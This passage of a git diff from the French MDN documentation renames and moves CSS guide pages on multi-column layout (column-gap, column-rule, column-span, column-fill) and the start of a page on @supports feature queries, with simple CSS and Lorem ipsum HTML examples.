Il est possible de modifier l'espacement en utilisant n'importe quelle unité de longueur pour column-gap. Dans l'exemple qui suit, on a ainsi paramétré column-gap avec la valeur 40px.

- -

{{EmbedGHLiveSample("css-examples/multicol/styling/column-gap.html", '100%', 750)}}

- -

Les valeurs autorisées pour column-gap sont de type <length-percentage>, cela signifie que les pourcentages sont également autorisés. Lorsque de telles valeurs sont utilisées, elles sont calculées relativement à la largeur du conteneur multi-colonnes.

- -

Créer un délimiteur entre les colonnes : column-rule

- -

La spécification définit les propriétés column-rule-width, column-rule-style and column-rule-color et fournit une propriété raccourcie column-rule. Ces propriétés fonctionnent de la même façon que les propriétés relatives à la bordure. Toute valeur valide pour border-style pourra être utilisée pour column-rule-style.

- -

Ces propriétés sont appliquées à l'élément qui est le conteneur multi-colonnes. Aussi, toutes les colonnes disposeront du même délimiteur. Les lignes sont uniquement dessinées entre les colonnes et pas sur les bords extérieurs. Les lignes sont également uniquement dessinées entre les colonnes qui ont du contenu.

- -

Dans le prochain exemple, on a ajouté une ligne en pointillée, épaisse de 5 pixels et dont la couleur est rebeccapurple, sans utiliser la propriété raccourcie.

- -

{{EmbedGHLiveSample("css-examples/multicol/styling/column-rule.html", '100%', 550)}}

- -

On notera que la ligne n'occupe pas d'espace supplémentaire. Autrement dit, une ligne plus épaisse ne « repoussera » pas les colonnes de part et d'autre. La ligne est superposée sur l'espace occupé par l'espacement entre les colonnes.

- -

Dans le prochain exemple, on utilise une ligne très large de 40 pixels et un espacement qui mesure uniquement 10 pixels. On peut alors voir que la ligne est dessinée sous le contenu des colonnes. Pour avoir un espace de chaque côté de la ligne, il faut avoir un espacement supérieur à 40 pixels.

- -

{{EmbedGHLiveSample("css-examples/multicol/styling/column-rule-wide.html", '100%', 550)}}

- -

Résumé

- -

Voici comment mettre en forme les colonnes avec les contraintes actuelles. Dans le prochain guide, nous verrons comment propager les éléments du conteneur sur l'ensemble des colonnes.

diff --git "a/files/fr/web/css/css_columns/r\303\251partir_entre_les_colonnes/index.html" "b/files/fr/web/css/css_columns/r\303\251partir_entre_les_colonnes/index.html" deleted file mode 100644 index d1116ebd7d..0000000000 --- "a/files/fr/web/css/css_columns/r\303\251partir_entre_les_colonnes/index.html" +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Répartir et équilibrer le contenu entre les colonnes -slug: Web/CSS/CSS_Columns/Répartir_entre_les_colonnes -tags: - - CSS - - Guide -translation_of: Web/CSS/CSS_Columns/Spanning_Columns ---- -
{{CSSRef}}
- -

Dans ce guide, nous verrons comment répartir les éléments sur plusieurs colonnes et comment contrôler le remplissage des colonnes.

- -
-

Note : Les fonctionnalités décrites dans cet article ne sont pas aussi bien prises en charge que celles décrites dans les deux articles précédents. Pour plus d'informations, nous vous invitons à vous référer aux tableaux de compatibilité à la fin des pages décrivant chacune des propriétés.

-
- -

Étendre sur plusieurs colonnes

- -

Afin qu'un élément s'étende sur plusieurs colonnes, on peut utiliser la propriété {{cssxref("column-span")}} avec la valeur all. Ainsi, l'élément concerné s'étendra sur l'ensemble des colonnes.

- -

N'importe quel élément descendant du conteneur multi-colonnes peut être étendu de cette façon, que ce soit un titre qui est un élément fils direct ou un titre contenu dans une section contenue dans le conteneur.

- -

Dans l'exemple qui suit, on a column-span: all appliqué sur l'élément h2 qui s'étend ainsi sur toutes les colonnes.

- -

{{EmbedGHLiveSample("css-examples/multicol/spanning/h2-span.html", '100%', 800)}}

- -

Dans ce deuxième exemple, le titre est à l'intérieur de l'élément {{HTMLElement("article")}} mais le contenu est bien réparti comme voulu.

- -

{{EmbedGHLiveSample("css-examples/multicol/spanning/nested-h2-span.html", '100%', 800)}}

- -

Lorsqu'un élément est étendu, il brise le flux des colonnes et un nouvel ensemble de boîtes de colonnes sont créées. Ce n'est pas le contenu qui « reprend » sous l'élément étendu.

- -

Les limites de column-span

- -

Avec la spécification de niveau 1, seules deux valeurs sont autorisées pour column-span : none qui est la valeur initiale et qui indique que l'élément ne s'étendra pas (il restera sur une colonne) et all qui indiquera que l'élément s'étendra sur l'ensemble des colonnes. Ainsi, on ne pourra pas étendre spécifiquement un élément sur deux ou trois colonnes.

- -

Quelques points d'attention

- -

Si l'élément qui s'étend est à l'intérieur d'un élément qui possède des marges, du remplissage et une bordure ou une couleur d'arrière-plan, on pourra avoir l'élément qui s'étend et qui recouvre le reste. Aussi, attention à bien gérer ce cas lorsqu'on étend un élément sur plusieurs colonnes.

- -

{{EmbedGHLiveSample("css-examples/multicol/spanning/mpb-span.html", '100%', 800)}}

- -

De plus, si un élément qui s'étend sur les colonnes se retrouve plus loin dans le contenu, on peut avoir un comportement hasardeux s'il n'y a pas assez de contenu après l'élément étendu pour créer d'autres colonnes. Aussi, mieux vaudra utiliser column-span avec précaution pour éviter ces effets indésirables.

- -

Équilibrer et remplir les colonnes

- -

Lorsque toutes les colonnes possèdent environ la même quantité de contenu, on parle d'un ensemble équilibré. On pourra jouer sur le remplissage et l'équilibrage des colonnes lorsque la quantité de contenu est inférieure à la quantité d'espace fournie, notamment lorsque le conteneur a une hauteur donnée.

- -

La valeur initiale de la propriété {{cssxref("column-fill")}}, dans une disposition multi-colonnes, est balance. Cette valeur signifie que les colonnes doivent être aussi équilibrées que possible. Pour les contextes fragmentés tels que les médias paginés, seul le dernier fragment est équilibré. Cela signifie que c'est sur la dernière page du document que l'ensemble des colonnes sera équilibré.

- -

La valeur balance-all permet quant à elle d'avoir des colonnes équilibrées sur l'ensemble des fragments (et pas uniquement sur le dernier).

- -

Dans cet exemple, on a des colonnes qui contiennent une image et du texte qui sont équilibrées. L'image ne peut pas être divisée et est placée dans la première colonne puis les colonnes suivantes contiennent du texte sur la même hauteur que l'image.

- -

{{EmbedGHLiveSample("css-examples/multicol/balancing/balance.html", '100%', 550)}}

- -

auto est une autre valeur qui peut être utilisée avec column-fill. Avec cette valeur, plutôt que d'équilibrer les colonnes, celles-ci sont remplies les unes après les autres. Dans ce dernier exemple, on a modifié column-fill pour utiliser auto et les colonnes sont désormais remplies dans l'ordre en suivant la hauteur du conteneur multi-colonnes. On a ainsi quelques colonnes vides à la fin.

- -

{{EmbedGHLiveSample("css-examples/multicol/balancing/auto.html", '100%', 550)}}

- -

On notera que l'équilibrage des colonnes n'est pas pris en charge de façon homogène par les navigateurs. Aussi, si vous l'utilisez, vérifiez vos résultats dans les différents navigateurs pour contrôler l'effet obtenu. Vous pouvez aussi consulter les tableaux de compatibilité des navigateurs à la fin des pages de chacune des propriétés.

- -

Dans le prochain guide, nous verrons comment gérer le dépassement au sein d'un conteneur multi-colonnes, à l'intérieur des colonnes et lorsqu'il y a plus de contenu que le conteneur peut en avoir.

diff --git a/files/fr/web/css/css_columns/spanning_columns/index.html b/files/fr/web/css/css_columns/spanning_columns/index.html new file mode 100644 index 0000000000..d1116ebd7d --- /dev/null +++ b/files/fr/web/css/css_columns/spanning_columns/index.html @@ -0,0 +1,63 @@ +--- +title: Répartir et équilibrer le contenu entre les colonnes +slug: Web/CSS/CSS_Columns/Répartir_entre_les_colonnes +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Columns/Spanning_Columns +--- +
{{CSSRef}}
+ +

Dans ce guide, nous verrons comment répartir les éléments sur plusieurs colonnes et comment contrôler le remplissage des colonnes.

+ +
+

Note : Les fonctionnalités décrites dans cet article ne sont pas aussi bien prises en charge que celles décrites dans les deux articles précédents. Pour plus d'informations, nous vous invitons à vous référer aux tableaux de compatibilité à la fin des pages décrivant chacune des propriétés.

+
+ +

Étendre sur plusieurs colonnes

+ +

Afin qu'un élément s'étende sur plusieurs colonnes, on peut utiliser la propriété {{cssxref("column-span")}} avec la valeur all. Ainsi, l'élément concerné s'étendra sur l'ensemble des colonnes.

+ +

N'importe quel élément descendant du conteneur multi-colonnes peut être étendu de cette façon, que ce soit un titre qui est un élément fils direct ou un titre contenu dans une section contenue dans le conteneur.

+ +

Dans l'exemple qui suit, on a column-span: all appliqué sur l'élément h2 qui s'étend ainsi sur toutes les colonnes.

+ +

{{EmbedGHLiveSample("css-examples/multicol/spanning/h2-span.html", '100%', 800)}}

+ +

Dans ce deuxième exemple, le titre est à l'intérieur de l'élément {{HTMLElement("article")}} mais le contenu est bien réparti comme voulu.

+ +

{{EmbedGHLiveSample("css-examples/multicol/spanning/nested-h2-span.html", '100%', 800)}}

+ +

Lorsqu'un élément est étendu, il brise le flux des colonnes et un nouvel ensemble de boîtes de colonnes sont créées. Ce n'est pas le contenu qui « reprend » sous l'élément étendu.

+ +

Les limites de column-span

+ +

Avec la spécification de niveau 1, seules deux valeurs sont autorisées pour column-span : none qui est la valeur initiale et qui indique que l'élément ne s'étendra pas (il restera sur une colonne) et all qui indiquera que l'élément s'étendra sur l'ensemble des colonnes. Ainsi, on ne pourra pas étendre spécifiquement un élément sur deux ou trois colonnes.

+ +

Quelques points d'attention

+ +

Si l'élément qui s'étend est à l'intérieur d'un élément qui possède des marges, du remplissage et une bordure ou une couleur d'arrière-plan, on pourra avoir l'élément qui s'étend et qui recouvre le reste. Aussi, attention à bien gérer ce cas lorsqu'on étend un élément sur plusieurs colonnes.

+ +

{{EmbedGHLiveSample("css-examples/multicol/spanning/mpb-span.html", '100%', 800)}}

+ +

De plus, si un élément qui s'étend sur les colonnes se retrouve plus loin dans le contenu, on peut avoir un comportement hasardeux s'il n'y a pas assez de contenu après l'élément étendu pour créer d'autres colonnes. Aussi, mieux vaudra utiliser column-span avec précaution pour éviter ces effets indésirables.

+ +

Équilibrer et remplir les colonnes

+ +

Lorsque toutes les colonnes possèdent environ la même quantité de contenu, on parle d'un ensemble équilibré. On pourra jouer sur le remplissage et l'équilibrage des colonnes lorsque la quantité de contenu est inférieure à la quantité d'espace fournie, notamment lorsque le conteneur a une hauteur donnée.

+ +

La valeur initiale de la propriété {{cssxref("column-fill")}}, dans une disposition multi-colonnes, est balance. Cette valeur signifie que les colonnes doivent être aussi équilibrées que possible. Pour les contextes fragmentés tels que les médias paginés, seul le dernier fragment est équilibré. Cela signifie que c'est sur la dernière page du document que l'ensemble des colonnes sera équilibré.

+ +

La valeur balance-all permet quant à elle d'avoir des colonnes équilibrées sur l'ensemble des fragments (et pas uniquement sur le dernier).

+ +

Dans cet exemple, on a des colonnes qui contiennent une image et du texte qui sont équilibrées. L'image ne peut pas être divisée et est placée dans la première colonne puis les colonnes suivantes contiennent du texte sur la même hauteur que l'image.

+ +

{{EmbedGHLiveSample("css-examples/multicol/balancing/balance.html", '100%', 550)}}

+ +

auto est une autre valeur qui peut être utilisée avec column-fill. Avec cette valeur, plutôt que d'équilibrer les colonnes, celles-ci sont remplies les unes après les autres. Dans ce dernier exemple, on a modifié column-fill pour utiliser auto et les colonnes sont désormais remplies dans l'ordre en suivant la hauteur du conteneur multi-colonnes. On a ainsi quelques colonnes vides à la fin.

+ +

{{EmbedGHLiveSample("css-examples/multicol/balancing/auto.html", '100%', 550)}}

+ +

On notera que l'équilibrage des colonnes n'est pas pris en charge de façon homogène par les navigateurs. Aussi, si vous l'utilisez, vérifiez vos résultats dans les différents navigateurs pour contrôler l'effet obtenu. Vous pouvez aussi consulter les tableaux de compatibilité des navigateurs à la fin des pages de chacune des propriétés.

+ +

Dans le prochain guide, nous verrons comment gérer le dépassement au sein d'un conteneur multi-colonnes, à l'intérieur des colonnes et lorsqu'il y a plus de contenu que le conteneur peut en avoir.

diff --git a/files/fr/web/css/css_columns/styling_columns/index.html b/files/fr/web/css/css_columns/styling_columns/index.html new file mode 100644 index 0000000000..0689060daf --- /dev/null +++ b/files/fr/web/css/css_columns/styling_columns/index.html @@ -0,0 +1,48 @@ +--- +title: Mettre en forme les colonnes +slug: Web/CSS/CSS_Columns/Mettre_en_forme_les_colonnes +tags: + - CSS + - CSS Multi-column Layout + - Guide +translation_of: Web/CSS/CSS_Columns/Styling_Columns +--- +
{{CSSRef}}
+ +

Les boîtes de colonne créées au sein des conteneurs multi-colonnes sont des boîtes anonymes et leur mise en forme est donc limitée. Elle n'est toutefois pas inexistante. Dans ce guide nous verrons comment modifier l'espace entre les colonnes et comment mettre en forme une ligne entre les colonnes.

+ +

Peut-on mettre en forme les boîtes des colonnes ?

+ +

Malheureusement, ce n'est pas possible actuellement. Il est impossible de cibler les boîtes anonymes des colonnes de quelque façon que ce soit. On ne peut donc pas changer la couleur d'arrière-plan d'une colonne donnée ou agrandir une colonne plus qu'une autre. De futures versions du module de spécification permettront peut-être de réaliser cela un jour mais nous devons pour le moment nous cantonner à paramétrer l'espacement entre les colonnes et à mettre en forme les lignes séparatrices entre les colonnes.

+ +

L'espaceement : la propriété column-gap

+ +

L'espacement entre les colonnes est contrôlé par la propriété column-gap. Cette propriété était initialement définie dans le module de spécification Multi-column Layout mais est désormais définie dans le module de spécification Box Alignment (dont le but est d'unifier la gestion des espacements entre les boîtes, que ce soit pour les colonnes ou pour d'autres types de disposition telles que les grilles CSS).

+ +

Dans une disposition multi-colonne, la valeur initiale de la propriété column-gap est 1em. Cela signifie que les colonnes ne se touchent pas les unes les autres. Pour les autres méthodes de disposition, la valeur initiale de column-gap est 0. Le mot-clé normal est une valeur qui permet d'obtenir un écart de 1em.

+ +

Il est possible de modifier l'espacement en utilisant n'importe quelle unité de longueur pour column-gap. Dans l'exemple qui suit, on a ainsi paramétré column-gap avec la valeur 40px.

+ +

{{EmbedGHLiveSample("css-examples/multicol/styling/column-gap.html", '100%', 750)}}

+ +

Les valeurs autorisées pour column-gap sont de type <length-percentage>, cela signifie que les pourcentages sont également autorisés. Lorsque de telles valeurs sont utilisées, elles sont calculées relativement à la largeur du conteneur multi-colonnes.

+ +

Créer un délimiteur entre les colonnes : column-rule

+ +

La spécification définit les propriétés column-rule-width, column-rule-style and column-rule-color et fournit une propriété raccourcie column-rule. Ces propriétés fonctionnent de la même façon que les propriétés relatives à la bordure. Toute valeur valide pour border-style pourra être utilisée pour column-rule-style.

+ +

Ces propriétés sont appliquées à l'élément qui est le conteneur multi-colonnes. Aussi, toutes les colonnes disposeront du même délimiteur. Les lignes sont uniquement dessinées entre les colonnes et pas sur les bords extérieurs. Les lignes sont également uniquement dessinées entre les colonnes qui ont du contenu.

+ +

Dans le prochain exemple, on a ajouté une ligne en pointillée, épaisse de 5 pixels et dont la couleur est rebeccapurple, sans utiliser la propriété raccourcie.

+ +

{{EmbedGHLiveSample("css-examples/multicol/styling/column-rule.html", '100%', 550)}}

+ +

On notera que la ligne n'occupe pas d'espace supplémentaire. Autrement dit, une ligne plus épaisse ne « repoussera » pas les colonnes de part et d'autre. La ligne est superposée sur l'espace occupé par l'espacement entre les colonnes.

+ +

Dans le prochain exemple, on utilise une ligne très large de 40 pixels et un espacement qui mesure uniquement 10 pixels. On peut alors voir que la ligne est dessinée sous le contenu des colonnes. Pour avoir un espace de chaque côté de la ligne, il faut avoir un espacement supérieur à 40 pixels.

+ +

{{EmbedGHLiveSample("css-examples/multicol/styling/column-rule-wide.html", '100%', 550)}}

+ +

Résumé

+ +

Voici comment mettre en forme les colonnes avec les contraintes actuelles. Dans le prochain guide, nous verrons comment propager les éléments du conteneur sur l'ensemble des colonnes.

diff --git a/files/fr/web/css/css_columns/using_multi-column_layouts/index.html b/files/fr/web/css/css_columns/using_multi-column_layouts/index.html new file mode 100644 index 0000000000..897ac5c989 --- /dev/null +++ b/files/fr/web/css/css_columns/using_multi-column_layouts/index.html @@ -0,0 +1,201 @@ +--- +title: Utiliser une disposition multi-colonnes +slug: Web/CSS/CSS_Columns/Utiliser_une_disposition_multi-colonnes +tags: + - Avancé + - CSS + - Guide +translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts +--- +
{{CSSRef}}
+ +

La disposition multi-colonnes étend le mode de disposition en bloc et permet de définir simplement plusieurs colonnes de texte. Lorsqu'on lit un texte, si les lignes sont trop longues, il faudra trop de temps aux yeux pour revenir au début de la ligne et passer à la ligne suivante : on perdra alors la ligne sur laquelle on était. Ainsi, pour utiliser efficacement l'espace fourni par un grand écran, on préfèrera utiliser des colonnes de largeur fixe, disposée côte à côte, à la façon d'un journal.

+ +

Utiliser les colonnes CSS

+ +

Le nombre de colonnes et leur largeur

+ +

Deux propriétés CSS permettent de définir quand et comment les colonnes apparaissent : {{cssxref("column-count")}} et {{cssxref("column-width")}}.

+ +

On utilisera la propriété column-count pour définir le nombre de colonnes qu'on souhaite avoir.

+ +

Utilisation de column-count

+ +
CSS
+ +
#col {
+  column-count: 2;
+}
+
+ +
HTML
+ +
+
<div id="col">
+  <p>
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+    sed do eiusmod tempor incididunt ut labore et dolore magna
+    aliqua.
+  </p>
+  <p>
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco
+    laboris nisi ut aliquip ex ea commodo consequat.
+  </p>
+  <p>
+    Duis aute irure dolor in reprehenderit in voluptate velit
+    esse cillum dolore eu fugiat nulla pariatur.
+  </p>
+  <p>
+    Excepteur sint occaecat cupidatat non proident, sunt in
+    culpa qui officia deserunt mollit anim id est laborum.
+  </p>
+</div>
+
+
+ +
Résultat
+ +

{{EmbedLiveSample('Utilisation_de_column-count','100%')}}

+ +

Si on utilise un navigateur qui permet d'utiliser ce module CSS, on aura un contenu affiché sur 2 colonnes.

+ +

La propriété column-width permet quant à elle de définir la largeur minimale d'une colonne. Si la propriété column-count n'est pas utilisée, le navigateur créera automatiquement autant de colonnes que le permet la largeur disponible.

+ +

Utilisation de column-width

+ +
CSS
+ +
+
#wid {
+  column-width: 100px;
+}
+
+
+ +
HTML
+ +
+
<div id="wid">
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore et dolore magna
+  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
+  ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Duis aute irure dolor in reprehenderit in voluptate velit
+  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
+  occaecat cupidatat non proident, sunt in culpa qui officia
+  deserunt mollit anim id est laborum
+</div>
+
+
+ +
Résultat
+ +

{{EmbedLiveSample('Utilisation_de_column-width','100%')}}

+ +

En utilisant une disposition multi-colonnes, le contenu est automatiquement réparti entre les colonnes.

+ +

La propriété raccourcie columns

+ +

La plupart du temps, on souhaitera utiliser l'une de ces deux propriétés ({{cssxref("column-count")}} ou {{cssxref("column-width")}}). Comme les valeurs de ces deux propriétés ne se « chevauchent » pas, on pourra utiliser la propriété raccourcie {{cssxref("columns")}} qui synthétisent ces deux propriétés.

+ +

Ainsi, la déclaration column-width:12em pourra être remplacée de la façon suivante :

+ +
CSS
+ +
+
#col_short {
+  columns: 12em;
+}
+
+
+ +
HTML
+ +
+
<div id="col_short">
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore et dolore magna
+  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
+  ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Duis aute irure dolor in reprehenderit in voluptate velit
+  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
+  occaecat cupidatat non proident, sunt in culpa qui officia
+  deserunt mollit anim id est laborum
+</div>
+
+
+ +
Résultat
+ +

{{EmbedLiveSample('La_propriété_raccourcie_columns','100%')}}

+ +

De même, on pourra remplacer la déclaration column-count: 4 avec ce bloc :

+ +
+
#columns_4{
+  columns: 4;
+}
+
+
+ +

Enfin, pour synthétiser les instructions column-width:8em et column-count:12, on pourra utiliser les instructions suivantes :

+ +
+
#columns_12 {
+  columns: 12 8em;
+}
+
+
+ +

Équilibrage de la hauteur

+ +

La spécification CSS pour ce module indique que la hauteur des colonnes doit être équilibrée. Autrement dit, le navigateur doit définir la hauteur des différentes colonnes afin que la hauteur du contenu dans chaque colonne soit environ égale.

+ +

Toutefois, dans certaines situations, on veut pouvoir définir la hauteur maximale des colonnes de façon explicite. Ainsi, lorsque la hauteur est contrainte, on peut utiliser les propriétés {{cssxref("height")}} ou {{cssxref("max-height")}} afin que chaque colonne mesure au plus la taille indiquée avant qu'une nouvelle colonne soit créée.

+ +

L'espacement entre les colonnes

+ +

Entre chaque colonne, on aura un espace horizontal. La valeur recommandée (et souvent utilisée par défaut) est 1em. Cette taille peut être ajustée si nécessaire en utilisant la propriété {{cssxref("column-gap")}} sur le bloc découpé en colonnes.

+ +

Utilisation de column-gap

+ +
CSS
+ +
#column_gap {
+  column-count: 5;
+  column-gap: 2em;
+}
+ +
HTML
+ +
+
<div id="column_gap">
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore et dolore magna
+  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
+  ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Duis aute irure dolor in reprehenderit in voluptate velit
+  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
+  occaecat cupidatat non proident, sunt in culpa qui officia
+  deserunt mollit anim id est laborum
+</div>
+
+
+ +
Résultat
+ +

{{EmbedLiveSample('Utilisation_de_column-gap','100%')}}

+ +

Amélioration progressive

+ +

Les propriétés liées à la disposition multi-colonnes seront simplement ignorées par les navigateurs qui ne prennent pas en charge cette fonctionnalité. On peut donc simplement créer une disposition qui n'utilisera qu'une colonne pour les anciens navigateurs et qui tirera parti de cette fonctionnalité dans les navigateurs plus récents.

+ +

Conclusion

+ +

Les colonnes CSS permettent aux développeurs web de mieux utiliser l'espace disponible à l'écran. Avec un peu d'imagination et en connaissant cette fonctionnalité d'équilibrage vertical automatique, on peut trouver de nombreux usages pour cette fonctionnalité.

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_columns/utiliser_une_disposition_multi-colonnes/index.html b/files/fr/web/css/css_columns/utiliser_une_disposition_multi-colonnes/index.html deleted file mode 100644 index 897ac5c989..0000000000 --- a/files/fr/web/css/css_columns/utiliser_une_disposition_multi-colonnes/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Utiliser une disposition multi-colonnes -slug: Web/CSS/CSS_Columns/Utiliser_une_disposition_multi-colonnes -tags: - - Avancé - - CSS - - Guide -translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts ---- -
{{CSSRef}}
- -

La disposition multi-colonnes étend le mode de disposition en bloc et permet de définir simplement plusieurs colonnes de texte. Lorsqu'on lit un texte, si les lignes sont trop longues, il faudra trop de temps aux yeux pour revenir au début de la ligne et passer à la ligne suivante : on perdra alors la ligne sur laquelle on était. Ainsi, pour utiliser efficacement l'espace fourni par un grand écran, on préfèrera utiliser des colonnes de largeur fixe, disposée côte à côte, à la façon d'un journal.

- -

Utiliser les colonnes CSS

- -

Le nombre de colonnes et leur largeur

- -

Deux propriétés CSS permettent de définir quand et comment les colonnes apparaissent : {{cssxref("column-count")}} et {{cssxref("column-width")}}.

- -

On utilisera la propriété column-count pour définir le nombre de colonnes qu'on souhaite avoir.

- -

Utilisation de column-count

- -
CSS
- -
#col {
-  column-count: 2;
-}
-
- -
HTML
- -
-
<div id="col">
-  <p>
-    Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-    sed do eiusmod tempor incididunt ut labore et dolore magna
-    aliqua.
-  </p>
-  <p>
-    Ut enim ad minim veniam, quis nostrud exercitation ullamco
-    laboris nisi ut aliquip ex ea commodo consequat.
-  </p>
-  <p>
-    Duis aute irure dolor in reprehenderit in voluptate velit
-    esse cillum dolore eu fugiat nulla pariatur.
-  </p>
-  <p>
-    Excepteur sint occaecat cupidatat non proident, sunt in
-    culpa qui officia deserunt mollit anim id est laborum.
-  </p>
-</div>
-
-
- -
Résultat
- -

{{EmbedLiveSample('Utilisation_de_column-count','100%')}}

- -

Si on utilise un navigateur qui permet d'utiliser ce module CSS, on aura un contenu affiché sur 2 colonnes.

- -

La propriété column-width permet quant à elle de définir la largeur minimale d'une colonne. Si la propriété column-count n'est pas utilisée, le navigateur créera automatiquement autant de colonnes que le permet la largeur disponible.

- -

Utilisation de column-width

- -
CSS
- -
-
#wid {
-  column-width: 100px;
-}
-
-
- -
HTML
- -
-
<div id="wid">
-  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-  sed do eiusmod tempor incididunt ut labore et dolore magna
-  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
-  ullamco laboris nisi ut aliquip ex ea commodo consequat.
-  Duis aute irure dolor in reprehenderit in voluptate velit
-  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
-  occaecat cupidatat non proident, sunt in culpa qui officia
-  deserunt mollit anim id est laborum
-</div>
-
-
- -
Résultat
- -

{{EmbedLiveSample('Utilisation_de_column-width','100%')}}

- -

En utilisant une disposition multi-colonnes, le contenu est automatiquement réparti entre les colonnes.

- -

La propriété raccourcie columns

- -

La plupart du temps, on souhaitera utiliser l'une de ces deux propriétés ({{cssxref("column-count")}} ou {{cssxref("column-width")}}). Comme les valeurs de ces deux propriétés ne se « chevauchent » pas, on pourra utiliser la propriété raccourcie {{cssxref("columns")}} qui synthétisent ces deux propriétés.

- -

Ainsi, la déclaration column-width:12em pourra être remplacée de la façon suivante :

- -
CSS
- -
-
#col_short {
-  columns: 12em;
-}
-
-
- -
HTML
- -
-
<div id="col_short">
-  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-  sed do eiusmod tempor incididunt ut labore et dolore magna
-  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
-  ullamco laboris nisi ut aliquip ex ea commodo consequat.
-  Duis aute irure dolor in reprehenderit in voluptate velit
-  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
-  occaecat cupidatat non proident, sunt in culpa qui officia
-  deserunt mollit anim id est laborum
-</div>
-
-
- -
Résultat
- -

{{EmbedLiveSample('La_propriété_raccourcie_columns','100%')}}

- -

De même, on pourra remplacer la déclaration column-count: 4 avec ce bloc :

- -
-
#columns_4{
-  columns: 4;
-}
-
-
- -

Enfin, pour synthétiser les instructions column-width:8em et column-count:12, on pourra utiliser les instructions suivantes :

- -
-
#columns_12 {
-  columns: 12 8em;
-}
-
-
- -

Équilibrage de la hauteur

- -

La spécification CSS pour ce module indique que la hauteur des colonnes doit être équilibrée. Autrement dit, le navigateur doit définir la hauteur des différentes colonnes afin que la hauteur du contenu dans chaque colonne soit environ égale.

- -

Toutefois, dans certaines situations, on veut pouvoir définir la hauteur maximale des colonnes de façon explicite. Ainsi, lorsque la hauteur est contrainte, on peut utiliser les propriétés {{cssxref("height")}} ou {{cssxref("max-height")}} afin que chaque colonne mesure au plus la taille indiquée avant qu'une nouvelle colonne soit créée.

- -

L'espacement entre les colonnes

- -

Entre chaque colonne, on aura un espace horizontal. La valeur recommandée (et souvent utilisée par défaut) est 1em. Cette taille peut être ajustée si nécessaire en utilisant la propriété {{cssxref("column-gap")}} sur le bloc découpé en colonnes.

- -

Utilisation de column-gap

- -
CSS
- -
#column_gap {
-  column-count: 5;
-  column-gap: 2em;
-}
- -
HTML
- -
-
<div id="column_gap">
-  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-  sed do eiusmod tempor incididunt ut labore et dolore magna
-  aliqua. Ut enim ad minim veniam, quis nostrud exercitation
-  ullamco laboris nisi ut aliquip ex ea commodo consequat.
-  Duis aute irure dolor in reprehenderit in voluptate velit
-  esse cillum dolore eu fugiat nulla pariatur. Excepteur sint
-  occaecat cupidatat non proident, sunt in culpa qui officia
-  deserunt mollit anim id est laborum
-</div>
-
-
- -
Résultat
- -

{{EmbedLiveSample('Utilisation_de_column-gap','100%')}}

- -

Amélioration progressive

- -

Les propriétés liées à la disposition multi-colonnes seront simplement ignorées par les navigateurs qui ne prennent pas en charge cette fonctionnalité. On peut donc simplement créer une disposition qui n'utilisera qu'une colonne pour les anciens navigateurs et qui tirera parti de cette fonctionnalité dans les navigateurs plus récents.

- -

Conclusion

- -

Les colonnes CSS permettent aux développeurs web de mieux utiliser l'espace disponible à l'écran. Avec un peu d'imagination et en connaissant cette fonctionnalité d'équilibrage vertical automatique, on peut trouver de nombreux usages pour cette fonctionnalité.

- -

Voir aussi

- - diff --git a/files/fr/web/css/css_conditional_rules/using_feature_queries/index.html b/files/fr/web/css/css_conditional_rules/using_feature_queries/index.html new file mode 100644 index 0000000000..811f5c4b22 --- /dev/null +++ b/files/fr/web/css/css_conditional_rules/using_feature_queries/index.html @@ -0,0 +1,112 @@ +--- +title: Utiliser les requêtes de fonctionnalité (feature queries) +slug: >- + Web/CSS/CSS_Conditional_Rules/Utiliser_requêtes_fonctionnalité_(feature_queries) +tags: + - Amélioration progressive + - CSS + - Guide +translation_of: Web/CSS/CSS_Conditional_Rules/Using_Feature_Queries +--- +
{{CSSRef}}
+ +

Les requêtes de fonctionnalité (ou feature queries) sont créées à l'aide de la règle @supports et permettent aux développeurs web de tester la prise en charge d'une fonctionnalité donnée par le navigateur puis de fournir le code CSS qui sera appliqué selon le résultat de ce test. Dans ce guide, nous verrons comment gérer l'amélioration progressive grâce à l'aide des requêtes de fonctionnalité.

+ +

Syntaxe

+ +

Les requêtes de fonctionnalité CSS s'inscrivent dans le module de spécification CSS Conditional Rules qui décrit également le fonctionnement de la règle @media. Vous pourrez ici voir que les requêtes de fonctionnalité fonctionnent de façon semblable aux requêtes de média. Pour les requêtes de média, on teste une caractéristique de l'environnement dans lequel la page web est affichée/exécutée tandis que pour les requêtes de fonctionnalité, on teste la prise en charge d'une fonctionnalité CSS dans le navigateur.

+ +

Une requête de fonctionnalité commence par une règle @supports, suivi du nom de la propriété et de la valeur qu'on souhaite tester. Il n'est pas possible de tester une propriété seule (ex. display) mais uniquement un couple nom/valeur :

+ +
@supports (propriété: valeur) {
+  Règles CSS à appliquer
+}
+ +

